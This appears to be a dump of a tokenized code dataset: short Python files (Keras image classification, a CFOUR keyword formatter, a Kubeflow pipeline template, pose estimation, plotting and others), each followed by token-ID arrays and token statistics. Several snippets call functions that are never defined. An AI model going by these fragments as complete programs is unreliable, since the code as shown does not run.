content
stringlengths
1
1.04M
input_ids
sequencelengths
1
774k
ratio_char_token
float64
0.38
22.9
token_count
int64
1
774k
import tensorflow as tf import numpy as np import scipy.io as scio import math as ma import multiprocessing as mp from tensorflow.contrib import layers import time import os main()
[ 11748, 11192, 273, 11125, 355, 48700, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 629, 541, 88, 13, 952, 355, 629, 952, 198, 11748, 10688, 355, 17266, 198, 11748, 18540, 305, 919, 278, 355, 29034, 198, 6738, 11192, 273, 11125, 13, 3642, 822, 1330, 11685, 198, 11748, 640, 198, 11748, 28686, 628, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 198, 12417, 3419, 628, 628, 198 ]
2.697368
76
from keras.preprocessing import image import requests import numpy as np from keras.applications.vgg16 import VGG16, preprocess_input, decode_predictions model = VGG16(include_top=True, weights='imagenet', input_tensor=None, input_shape=None) model.summary() #画像をダンロードするための関数 if __name__ == '__main__': #画像のダウンロード # url = 'https://cdn.pixabay.com/photo/2016/03/05/19/02/hamburger-1238246_1280.jpg' # file_name = 'hamburger.jpg' file_name = 'キャプチャ.JPG' # download_img(url, file_name) img = image.load_img(file_name, target_size=(224, 224)) # 読み込んだPIL形式の画像をarrayに変換 ary = image.img_to_array(img) #サンプル数の次元を1つ増やし四次元テンソルに ary = np.expand_dims(ary, axis=0) #上位5を出力 preds = model.predict(preprocess_input(ary)) results = decode_predictions(preds, top=5)[0] for result in results: print(result)
[ 6738, 41927, 292, 13, 3866, 36948, 1330, 2939, 198, 11748, 7007, 198, 11748, 299, 32152, 355, 45941, 198, 6738, 41927, 292, 13, 1324, 677, 602, 13, 85, 1130, 1433, 1330, 569, 11190, 1433, 11, 662, 14681, 62, 15414, 11, 36899, 62, 28764, 9278, 198, 19849, 796, 569, 11190, 1433, 7, 17256, 62, 4852, 28, 17821, 11, 19590, 11639, 320, 11286, 316, 3256, 5128, 62, 83, 22854, 28, 14202, 11, 5128, 62, 43358, 28, 14202, 8, 198, 198, 19849, 13, 49736, 3419, 628, 628, 198, 2, 18796, 119, 161, 225, 237, 31758, 27852, 6527, 16253, 12045, 231, 33623, 25748, 25224, 1792, 223, 33426, 244, 95, 46763, 108, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1303, 18796, 119, 161, 225, 237, 5641, 27852, 16165, 6527, 16253, 12045, 231, 198, 2, 220, 220, 220, 19016, 796, 705, 5450, 1378, 32341, 13, 79, 844, 397, 323, 13, 785, 14, 23074, 14, 5304, 14, 3070, 14, 2713, 14, 1129, 14, 2999, 14, 2763, 6236, 1362, 12, 1065, 2548, 26912, 62, 1065, 1795, 13, 9479, 6, 198, 2, 220, 220, 220, 2393, 62, 3672, 796, 705, 2763, 6236, 1362, 13, 9479, 6, 198, 220, 220, 220, 2393, 62, 3672, 796, 705, 25084, 23131, 30965, 31090, 23131, 13, 41, 6968, 6, 198, 2, 220, 220, 220, 4321, 62, 9600, 7, 6371, 11, 2393, 62, 3672, 8, 198, 220, 220, 220, 33705, 796, 2939, 13, 2220, 62, 9600, 7, 7753, 62, 3672, 11, 2496, 62, 7857, 16193, 24137, 11, 26063, 4008, 198, 220, 220, 220, 220, 198, 220, 220, 220, 1303, 5525, 103, 255, 2515, 123, 164, 122, 120, 22174, 46777, 47, 4146, 37605, 95, 28156, 237, 17683, 242, 119, 161, 225, 237, 31758, 18747, 28618, 13783, 231, 162, 237, 249, 198, 220, 220, 220, 257, 563, 796, 2939, 13, 9600, 62, 1462, 62, 18747, 7, 9600, 8, 628, 220, 220, 220, 1303, 26503, 6527, 30965, 9202, 46763, 108, 27032, 105, 94, 17739, 225, 31758, 16, 2515, 97, 161, 95, 245, 1792, 226, 22180, 32368, 249, 162, 105, 94, 17739, 225, 24336, 6527, 47559, 9202, 28618, 198, 220, 220, 220, 257, 563, 796, 45941, 13, 11201, 392, 62, 67, 12078, 7, 560, 11, 16488, 28, 15, 8, 628, 220, 220, 220, 1303, 41468, 19526, 235, 20, 31758, 49035, 118, 27950, 249, 198, 220, 220, 220, 2747, 82, 796, 2746, 13, 79, 17407, 7, 3866, 14681, 62, 15414, 7, 560, 4008, 198, 220, 220, 220, 2482, 796, 36899, 62, 28764, 9278, 7, 28764, 82, 11, 1353, 28, 20, 38381, 15, 60, 198, 220, 220, 220, 329, 1255, 287, 2482, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 20274, 8 ]
1.950226
442
from typing import Any, Dict, Tuple from qcengine.exceptions import InputError def format_keywords(keywords: Dict[str, Any]) -> str: """Form keywords deck from dictionary `keywords` where keys are CFOUR keyword ("__" separating any nested-module keywords) strings and values are Python formatted. """ text = [] keywords = {k.upper(): v for k, v in keywords.items()} for key, val in sorted(keywords.items()): text.append("=".join(format_keyword(key, val))) text = "\n".join(text) text = "\n\n*CFOUR(" + text + ")\n\n" return text def format_keyword(keyword: str, val: Any) -> Tuple[str, str]: """Reformat keyword's value from Python into CFOUR-speak. Arrays are the primary target.""" keyword = keyword.upper() # Transform booleans into integers if val is True: text = "1" elif val is False: text = "0" # Transform list from [[3, 0, 1, 1], [2, 0, 1, 0]] --> 3-0-1-1/2-0-1-0 elif isinstance(val, list): if type(val[0]).__name__ == "list": if type(val[0][0]).__name__ == "list": raise InputError("Option has level of array nesting inconsistent with CFOUR.") else: # option is 2D array text = "/".join("-".join(map(str, no)) for no in val) else: # option is plain 1D array if keyword in ["ESTATE_SYM", "CFOUR_ESTATE_SYM"]: # [3, 1, 0, 2] --> 3/1/0/2 text = "/".join(map(str, val)) else: # [3, 1, 0, 2] --> 3-1-0-2 text = "-".join(map(str, val)) # Transform the basis sets that *must* be lowercase elif keyword in ["CFOUR_BASIS", "BASIS"] and val.upper() in [ "SVP", "DZP", "TZP", "TZP2P", "QZ2P", "PZ3D2F", "13S9P4D3F", ]: text = str(val.lower()) # No Transform else: text = str(val).upper() return keyword, text
[ 6738, 19720, 1330, 4377, 11, 360, 713, 11, 309, 29291, 198, 198, 6738, 10662, 66, 18392, 13, 1069, 11755, 1330, 23412, 12331, 628, 198, 4299, 5794, 62, 2539, 10879, 7, 2539, 10879, 25, 360, 713, 58, 2536, 11, 4377, 12962, 4613, 965, 25, 198, 220, 220, 220, 37227, 8479, 26286, 6203, 422, 22155, 4600, 2539, 10879, 63, 810, 8251, 389, 18551, 11698, 21179, 5855, 834, 1, 27259, 198, 220, 220, 220, 597, 28376, 12, 21412, 26286, 8, 13042, 290, 3815, 389, 11361, 39559, 13, 628, 220, 220, 220, 37227, 198, 220, 220, 220, 2420, 796, 17635, 628, 220, 220, 220, 26286, 796, 1391, 74, 13, 45828, 33529, 410, 329, 479, 11, 410, 287, 26286, 13, 23814, 3419, 92, 198, 220, 220, 220, 329, 1994, 11, 1188, 287, 23243, 7, 2539, 10879, 13, 23814, 3419, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 2420, 13, 33295, 7203, 28, 1911, 22179, 7, 18982, 62, 2539, 4775, 7, 2539, 11, 1188, 22305, 628, 220, 220, 220, 2420, 796, 37082, 77, 1911, 22179, 7, 5239, 8, 198, 220, 220, 220, 2420, 796, 37082, 77, 59, 77, 9, 22495, 11698, 7203, 1343, 2420, 1343, 366, 19415, 77, 59, 77, 1, 628, 220, 220, 220, 1441, 2420, 628, 198, 4299, 5794, 62, 2539, 4775, 7, 2539, 4775, 25, 965, 11, 1188, 25, 4377, 8, 4613, 309, 29291, 58, 2536, 11, 965, 5974, 198, 220, 220, 220, 37227, 3041, 18982, 21179, 338, 1988, 422, 11361, 656, 18551, 11698, 12, 47350, 13, 943, 20477, 389, 262, 4165, 2496, 526, 15931, 198, 220, 220, 220, 21179, 796, 21179, 13, 45828, 3419, 628, 220, 220, 220, 1303, 26981, 1489, 2305, 504, 656, 37014, 198, 220, 220, 220, 611, 1188, 318, 6407, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 366, 16, 1, 198, 220, 220, 220, 1288, 361, 1188, 318, 10352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 366, 15, 1, 628, 220, 220, 220, 1303, 26981, 1351, 422, 16410, 18, 11, 657, 11, 352, 11, 352, 4357, 685, 17, 11, 657, 11, 352, 11, 657, 11907, 14610, 513, 12, 15, 12, 16, 12, 16, 14, 17, 12, 15, 12, 16, 12, 15, 198, 220, 220, 220, 1288, 361, 318, 39098, 7, 2100, 11, 1351, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2099, 7, 2100, 58, 15, 35944, 834, 3672, 834, 6624, 366, 4868, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2099, 7, 2100, 58, 15, 7131, 15, 35944, 834, 3672, 834, 6624, 366, 4868, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 23412, 12331, 7203, 19722, 468, 1241, 286, 7177, 46282, 18326, 351, 18551, 11698, 19570, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 3038, 318, 362, 35, 7177, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 12813, 1911, 22179, 7203, 12, 1911, 22179, 7, 8899, 7, 2536, 11, 645, 4008, 329, 645, 287, 1188, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 3038, 318, 8631, 352, 35, 7177, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 21179, 287, 14631, 6465, 6158, 62, 23060, 44, 1600, 366, 22495, 11698, 62, 6465, 6158, 62, 23060, 44, 1, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 685, 18, 11, 352, 11, 657, 11, 362, 60, 14610, 513, 14, 16, 14, 15, 14, 17, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 12813, 1911, 22179, 7, 8899, 7, 2536, 11, 1188, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 685, 18, 11, 352, 11, 657, 11, 362, 60, 14610, 513, 12, 16, 12, 15, 12, 17, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 27444, 1911, 22179, 7, 8899, 7, 2536, 11, 1188, 4008, 628, 220, 220, 220, 1303, 26981, 262, 4308, 5621, 326, 1635, 27238, 9, 307, 2793, 7442, 198, 220, 220, 220, 1288, 361, 21179, 287, 14631, 22495, 11698, 62, 33, 1921, 1797, 1600, 366, 33, 1921, 1797, 8973, 290, 1188, 13, 45828, 3419, 287, 685, 198, 220, 220, 220, 220, 220, 220, 220, 366, 50, 8859, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 366, 35, 57, 47, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 366, 51, 57, 47, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 366, 51, 57, 47, 17, 47, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 366, 48, 57, 17, 47, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 366, 47, 57, 18, 35, 17, 37, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 366, 1485, 50, 24, 47, 19, 35, 18, 37, 1600, 198, 220, 220, 220, 2361, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 965, 7, 2100, 13, 21037, 28955, 628, 220, 220, 220, 1303, 1400, 26981, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 965, 7, 2100, 737, 45828, 3419, 628, 220, 220, 220, 1441, 21179, 11, 2420, 198 ]
2.138264
933
# -*- coding: utf8 -*- """ Tests for the encoding library. Author: Eduardo Ferreira License: MIT (see LICENSE for details) """ import unittest class EncodeTests(unittest.TestCase): """ Tests for the encoding library. """ def test_dummy(self): """ Dummy test method. """ self.assertEqual(True, True)
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 23, 532, 9, 12, 198, 198, 37811, 198, 51, 3558, 329, 262, 21004, 5888, 13, 198, 198, 13838, 25, 40766, 13109, 12880, 260, 8704, 198, 34156, 25, 17168, 357, 3826, 38559, 24290, 329, 3307, 8, 198, 37811, 198, 198, 11748, 555, 715, 395, 628, 198, 4871, 2039, 8189, 51, 3558, 7, 403, 715, 395, 13, 14402, 20448, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 30307, 329, 262, 21004, 5888, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 825, 1332, 62, 67, 13513, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 360, 13513, 1332, 2446, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 30493, 36, 13255, 7, 17821, 11, 6407, 8, 198 ]
2.385135
148
from configcrunch.tests.acceptance.testcases import ConfigcrunchTestCase
[ 6738, 4566, 6098, 3316, 13, 41989, 13, 13635, 590, 13, 9288, 33964, 1330, 17056, 6098, 3316, 14402, 20448, 628 ]
3.894737
19
# Copyright 2021 The MLX Contributors # # SPDX-License-Identifier: Apache-2.0 from kfp import dsl from kfp_tekton.compiler import TektonCompiler from kfp_tekton import TektonClient from os import path from tempfile import gettempdir ############################################################ # Define the pipeline method ############################################################ @dsl.pipeline( name='${name}', description='${description}' ) ############################################################ # Compile the pipeline ############################################################ pipeline_function = kfp_component_pipeline pipeline_filename = path.join(gettempdir(), pipeline_function.__name__ + '.pipeline.tar.gz') TektonCompiler().compile(pipeline_function, pipeline_filename) ############################################################ # Run the pipeline ############################################################ # TODO: specify pipeline argument values arguments = ${parameter_dict} client = TektonClient(${pipeline_server}) # Get or create an experiment and submit a pipeline run experiment = client.create_experiment('COMPONENT_RUNS') # Submit the experiment to run in a pipeline run_name = '${run_name}' run_result = client.run_pipeline(experiment.id, run_name, pipeline_filename, arguments)
[ 2, 15069, 33448, 383, 10373, 55, 25767, 669, 198, 2, 220, 198, 2, 30628, 55, 12, 34156, 12, 33234, 7483, 25, 24843, 12, 17, 13, 15, 198, 198, 6738, 479, 46428, 1330, 288, 6649, 198, 6738, 479, 46428, 62, 35424, 1122, 13, 5589, 5329, 1330, 33516, 1122, 7293, 5329, 198, 6738, 479, 46428, 62, 35424, 1122, 1330, 33516, 1122, 11792, 198, 6738, 28686, 1330, 3108, 198, 6738, 20218, 7753, 1330, 651, 29510, 15908, 628, 198, 29113, 14468, 7804, 4242, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2896, 500, 262, 11523, 2446, 198, 29113, 14468, 7804, 4242, 198, 198, 31, 67, 6649, 13, 79, 541, 4470, 7, 198, 220, 220, 220, 1438, 11639, 38892, 3672, 92, 3256, 198, 220, 220, 220, 6764, 11639, 38892, 11213, 92, 6, 198, 8, 628, 198, 29113, 14468, 7804, 4242, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3082, 576, 262, 11523, 198, 29113, 14468, 7804, 4242, 198, 198, 79, 541, 4470, 62, 8818, 796, 479, 46428, 62, 42895, 62, 79, 541, 4470, 198, 79, 541, 4470, 62, 34345, 796, 3108, 13, 22179, 7, 1136, 29510, 15908, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 11523, 62, 8818, 13, 834, 3672, 834, 1343, 45302, 79, 541, 4470, 13, 18870, 13, 34586, 11537, 198, 198, 51, 988, 1122, 7293, 5329, 22446, 5589, 576, 7, 79, 541, 4470, 62, 8818, 11, 11523, 62, 34345, 8, 198, 198, 29113, 14468, 7804, 4242, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5660, 262, 11523, 198, 29113, 14468, 7804, 4242, 198, 198, 2, 16926, 46, 25, 11986, 11523, 4578, 3815, 198, 853, 2886, 796, 25597, 17143, 2357, 62, 11600, 92, 198, 198, 16366, 796, 33516, 1122, 11792, 16763, 90, 79, 541, 4470, 62, 15388, 30072, 198, 198, 2, 3497, 393, 2251, 281, 6306, 290, 9199, 257, 11523, 1057, 198, 23100, 3681, 796, 5456, 13, 17953, 62, 23100, 3681, 10786, 9858, 47, 1340, 3525, 62, 49, 4944, 50, 11537, 198, 198, 2, 39900, 262, 6306, 284, 1057, 287, 257, 11523, 198, 5143, 62, 3672, 796, 705, 38892, 5143, 62, 3672, 92, 6, 198, 5143, 62, 20274, 796, 5456, 13, 5143, 62, 79, 541, 4470, 7, 23100, 3681, 13, 312, 11, 1057, 62, 3672, 11, 11523, 62, 34345, 11, 7159, 8, 198 ]
3.39372
414
from .client import BaseAPI, CorporateAPI, PersonalAPI from .errors import Error, TooManyRequests
[ 6738, 764, 16366, 1330, 7308, 17614, 11, 26040, 17614, 11, 15644, 17614, 198, 6738, 764, 48277, 1330, 13047, 11, 14190, 7085, 16844, 3558, 198 ]
4.083333
24
from parse_one_paged import parse_one_paged AVAILABLE_SITES = [ { 'name': 'make up', 'url': 'https://makeup.com.ua/brand/1771098/', 'product_class': '.simple-slider-list__link', 'name_class': '.simple-slider-list__name', 'price_class': '.simple-slider-list__price', 'type': 'one-paged' } ] headers_example = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36', } if __name__ == "__main__": collect_data()
[ 6738, 21136, 62, 505, 62, 79, 1886, 1330, 21136, 62, 505, 62, 79, 1886, 198, 198, 10116, 32, 4146, 17534, 62, 50, 2043, 1546, 796, 685, 198, 220, 220, 220, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 705, 3672, 10354, 705, 15883, 510, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 6371, 10354, 705, 5450, 1378, 15883, 929, 13, 785, 13, 6413, 14, 17938, 14, 22413, 940, 4089, 14, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 11167, 62, 4871, 10354, 45302, 36439, 12, 6649, 1304, 12, 4868, 834, 8726, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 3672, 62, 4871, 10354, 45302, 36439, 12, 6649, 1304, 12, 4868, 834, 3672, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 20888, 62, 4871, 10354, 45302, 36439, 12, 6649, 1304, 12, 4868, 834, 20888, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4906, 10354, 705, 505, 12, 79, 1886, 6, 198, 220, 220, 220, 1782, 198, 60, 198, 198, 50145, 62, 20688, 796, 1391, 198, 220, 220, 220, 705, 7220, 12, 25781, 10354, 705, 44, 8590, 5049, 14, 20, 13, 15, 357, 11209, 24563, 838, 13, 15, 26, 7178, 2414, 26, 2124, 2414, 8, 4196, 13908, 20827, 14, 46096, 13, 2623, 357, 42, 28656, 11, 588, 2269, 37549, 8, 13282, 14, 5705, 13, 15, 13, 19, 20198, 13, 11623, 23298, 14, 46096, 13, 2623, 3256, 198, 92, 628, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 2824, 62, 7890, 3419, 198 ]
2.146718
259
KEY_PARTS_OF_SPEECH = ["ADJ", "NOUN", "NUM", "VERB", "X"]
[ 20373, 62, 27082, 4694, 62, 19238, 62, 4303, 36, 25994, 796, 14631, 2885, 41, 1600, 366, 45, 19385, 1600, 366, 41359, 1600, 366, 5959, 33, 1600, 366, 55, 8973, 198 ]
1.933333
30
# 绘图相关包 from PyQt5.Qt import * from pyqtgraph import PlotWidget from PyQt5 import QtCore import numpy as np import pyqtgraph as pq # 绘图相关包 import cv2 import math import torch import pyrealsense2 as rs #人体姿态估计相关包 from models.with_mobilenet import PoseEstimationWithMobileNet from modules.keypoints import extract_keypoints, group_keypoints, BODY_PARTS_KPT_IDS, BODY_PARTS_PAF_IDS from modules.load_state import load_state from modules.pose import Pose, track_poses from val import normalize, pad_width KPTS_ANGLE_PAIRS = [[2,3,4], [5,6,7], [8,9,10], [14,15,16], [9,10,12], [15,16,18]] # Q为这一轮的心里的预估误差 Q = 0.00001 # R为下一轮的测量误差 R = 0.1 # Accumulated_Error为上一轮的估计误差,具体呈现为所有误差的累计 Accumulated_Error = np.ones(6, np.float32) # 初始旧值 kalman_kpt_old = np.zeros(6, np.float32) SCOPE = 50 # 数据左移 if __name__ == '__main__': import sys # PyQt5 程序固定写法 app = QApplication(sys.argv) # 将绑定了绘图控件的窗口实例化并展示 window = Window() # window.show() #TODO: 这个会多出一个空白窗口,注释掉就不会出现了 # PyQt5 程序固定写法 sys.exit(app.exec())
[ 2, 13328, 119, 246, 32368, 122, 33566, 116, 17739, 111, 44293, 227, 201, 198, 6738, 9485, 48, 83, 20, 13, 48, 83, 1330, 1635, 201, 198, 6738, 12972, 80, 25297, 1470, 1330, 28114, 38300, 201, 198, 6738, 9485, 48, 83, 20, 1330, 33734, 14055, 201, 198, 11748, 299, 32152, 355, 45941, 201, 198, 11748, 12972, 80, 25297, 1470, 355, 279, 80, 201, 198, 201, 198, 2, 13328, 119, 246, 32368, 122, 33566, 116, 17739, 111, 44293, 227, 201, 198, 11748, 269, 85, 17, 201, 198, 11748, 10688, 201, 198, 11748, 28034, 201, 198, 11748, 12972, 260, 874, 1072, 17, 355, 44608, 201, 198, 201, 198, 2, 21689, 19526, 241, 34650, 123, 45250, 223, 27670, 108, 164, 106, 94, 33566, 116, 17739, 111, 44293, 227, 201, 198, 6738, 4981, 13, 4480, 62, 76, 25898, 268, 316, 1330, 37557, 22362, 18991, 3152, 17066, 7934, 201, 198, 6738, 13103, 13, 2539, 13033, 1330, 7925, 62, 2539, 13033, 11, 1448, 62, 2539, 13033, 11, 347, 33076, 62, 27082, 4694, 62, 42, 11571, 62, 14255, 11, 347, 33076, 62, 27082, 4694, 62, 4537, 37, 62, 14255, 201, 198, 6738, 13103, 13, 2220, 62, 5219, 1330, 3440, 62, 5219, 201, 198, 6738, 13103, 13, 3455, 1330, 37557, 11, 2610, 62, 4832, 201, 198, 6738, 1188, 1330, 3487, 1096, 11, 14841, 62, 10394, 201, 198, 201, 198, 42, 47, 4694, 62, 15567, 2538, 62, 4537, 4663, 50, 796, 16410, 17, 11, 18, 11, 19, 4357, 685, 20, 11, 21, 11, 22, 4357, 685, 23, 11, 24, 11, 940, 4357, 685, 1415, 11, 1314, 11, 1433, 4357, 685, 24, 11, 940, 11, 1065, 4357, 685, 1314, 11, 1433, 11, 1507, 11907, 201, 198, 201, 198, 2, 1195, 10310, 118, 32573, 247, 31660, 164, 121, 106, 21410, 33232, 225, 34932, 234, 21410, 165, 95, 226, 27670, 108, 46237, 107, 32432, 106, 201, 198, 48, 796, 657, 13, 2388, 16, 201, 198, 2, 371, 10310, 118, 10310, 233, 31660, 164, 121, 106, 21410, 38184, 233, 34932, 237, 46237, 107, 32432, 106, 201, 198, 49, 796, 657, 13, 16, 201, 198, 2, 6366, 388, 4817, 62, 12331, 10310, 118, 41468, 31660, 164, 121, 106, 21410, 27670, 108, 164, 106, 94, 46237, 107, 32432, 106, 171, 120, 234, 17739, 115, 19526, 241, 37772, 230, 163, 236, 108, 10310, 118, 33699, 222, 17312, 231, 46237, 107, 32432, 106, 21410, 163, 112, 107, 164, 106, 94, 201, 198, 17320, 388, 4817, 62, 12331, 796, 45941, 13, 1952, 7, 21, 11, 45941, 13, 22468, 2624, 8, 201, 198, 2, 10263, 230, 251, 34650, 233, 33768, 100, 161, 222, 120, 201, 198, 74, 282, 805, 62, 74, 457, 62, 727, 796, 45941, 13, 9107, 418, 7, 21, 11, 45941, 13, 22468, 2624, 8, 201, 198, 201, 198, 6173, 32135, 796, 2026, 201, 198, 201, 198, 201, 198, 201, 198, 220, 220, 220, 1303, 10545, 243, 108, 162, 235, 106, 32432, 99, 163, 100, 119, 201, 198, 201, 198, 201, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 201, 198, 220, 220, 220, 1330, 25064, 201, 198, 220, 220, 220, 1303, 9485, 48, 83, 20, 13328, 101, 233, 41753, 237, 32368, 118, 22522, 248, 37863, 247, 37345, 243, 201, 198, 220, 220, 220, 598, 796, 1195, 23416, 7, 17597, 13, 853, 85, 8, 201, 198, 201, 198, 220, 220, 220, 1303, 10263, 108, 228, 163, 119, 239, 22522, 248, 12859, 228, 163, 119, 246, 32368, 122, 162, 236, 100, 20015, 114, 21410, 163, 103, 245, 20998, 96, 22522, 252, 160, 122, 233, 44293, 244, 33176, 114, 161, 109, 243, 163, 97, 118, 201, 198, 220, 220, 220, 4324, 796, 26580, 3419, 201, 198, 220, 220, 220, 1303, 4324, 13, 12860, 3419, 220, 1303, 51, 3727, 46, 25, 5525, 123, 247, 10310, 103, 27670, 248, 13783, 248, 49035, 118, 31660, 10310, 103, 163, 102, 118, 163, 50159, 163, 103, 245, 20998, 96, 171, 120, 234, 37345, 101, 34932, 232, 162, 236, 231, 22887, 109, 38834, 27670, 248, 49035, 118, 163, 236, 108, 12859, 228, 201, 198, 201, 198, 220, 220, 220, 1303, 9485, 48, 83, 20, 13328, 101, 233, 41753, 237, 32368, 118, 22522, 248, 37863, 247, 37345, 243, 201, 198, 220, 220, 220, 25064, 13, 37023, 7, 1324, 13, 18558, 28955 ]
1.550933
697
import datetime nascimento = int(input('Digite seu ano de nascimento: ')) anoAtual = datetime.date.today().year idade = anoAtual - nascimento print('A idade do atleta é {}'.format(idade)) if idade <= 9: print('A categoria do atleta é MIRIM') elif idade > 9 and idade <= 14: print('A categoria do atleta é INFANTIL') elif idade > 14 and idade <= 19: print('A categoria do atleta é JUNIOR') elif idade > 19 and idade <= 25: print('A categoria do atleta é SÊNIOR') else: print('A categoria do atleta é MASTER')
[ 11748, 4818, 8079, 198, 198, 77, 3372, 3681, 78, 796, 493, 7, 15414, 10786, 19511, 578, 384, 84, 281, 78, 390, 299, 3372, 3681, 78, 25, 705, 4008, 198, 198, 5733, 2953, 723, 796, 4818, 8079, 13, 4475, 13, 40838, 22446, 1941, 198, 312, 671, 796, 281, 78, 2953, 723, 532, 299, 3372, 3681, 78, 198, 198, 4798, 10786, 32, 4686, 671, 466, 379, 1616, 64, 38251, 23884, 4458, 18982, 7, 312, 671, 4008, 198, 198, 361, 4686, 671, 19841, 860, 25, 198, 220, 220, 220, 3601, 10786, 32, 4253, 7661, 466, 379, 1616, 64, 38251, 337, 4663, 3955, 11537, 198, 417, 361, 4686, 671, 1875, 860, 290, 4686, 671, 19841, 1478, 25, 198, 220, 220, 220, 3601, 10786, 32, 4253, 7661, 466, 379, 1616, 64, 38251, 45594, 8643, 4146, 11537, 198, 417, 361, 4686, 671, 1875, 1478, 290, 4686, 671, 19841, 678, 25, 198, 220, 220, 220, 3601, 10786, 32, 4253, 7661, 466, 379, 1616, 64, 38251, 449, 4944, 41254, 11537, 198, 417, 361, 4686, 671, 1875, 678, 290, 4686, 671, 19841, 1679, 25, 198, 220, 220, 220, 3601, 10786, 32, 4253, 7661, 466, 379, 1616, 64, 38251, 311, 127, 232, 22125, 1581, 11537, 198, 17772, 25, 198, 220, 220, 220, 3601, 10786, 32, 4253, 7661, 466, 379, 1616, 64, 38251, 32337, 5781, 11537, 198 ]
2.462963
216
from django.test import TestCase from .models import WikiGame, WikiTermos from .csv_data_extracter import extract_data_from_csv, save_termos, save_wikigame, extract_termos_from_string, refresh_wikigame_model
[ 6738, 42625, 14208, 13, 9288, 1330, 6208, 20448, 198, 6738, 764, 27530, 1330, 13078, 8777, 11, 13078, 40596, 418, 198, 6738, 764, 40664, 62, 7890, 62, 2302, 974, 263, 1330, 7925, 62, 7890, 62, 6738, 62, 40664, 11, 3613, 62, 4354, 418, 11, 3613, 62, 20763, 328, 480, 11, 7925, 62, 4354, 418, 62, 6738, 62, 8841, 11, 14976, 62, 20763, 328, 480, 62, 19849 ]
3.184615
65
# ----------------------------------------------------------------------------- # Copyright (c) 2015, Nicolas P. Rougier. All Rights Reserved. # Distributed under the (new) BSD License. See LICENSE.txt for more info. # ----------------------------------------------------------------------------- import numpy as np import matplotlib.pyplot as plt # New figure with white background fig = plt.figure(figsize=(6,6), facecolor='white') # New axis over the whole figureand a 1:1 aspect ratio ax = fig.add_axes([0.005,0.005,.99,.99], frameon=True, aspect=1) # Number of ring n = 50 size_min = 50 size_max = 50*50 # Ring position P = np.random.uniform(0,1,(n,2)) # Ring colors C = np.ones((n,4)) * (0,0,0,1) # Alpha color channel goes from 0 (transparent) to 1 (opaque) C[:,3] = np.linspace(0,1,n) # Ring sizes S = np.linspace(size_min, size_max, n) # Scatter plot scat = ax.scatter(P[:,0], P[:,1], s=S, lw = 0.5, edgecolors = C, facecolors='None') # Ensure limits are [0,1] and remove ticks ax.set_xlim(0,1), ax.set_xticks([]) ax.set_ylim(0,1), ax.set_yticks([]) # plt.savefig("../figures/rain-static.png",dpi=72) plt.show()
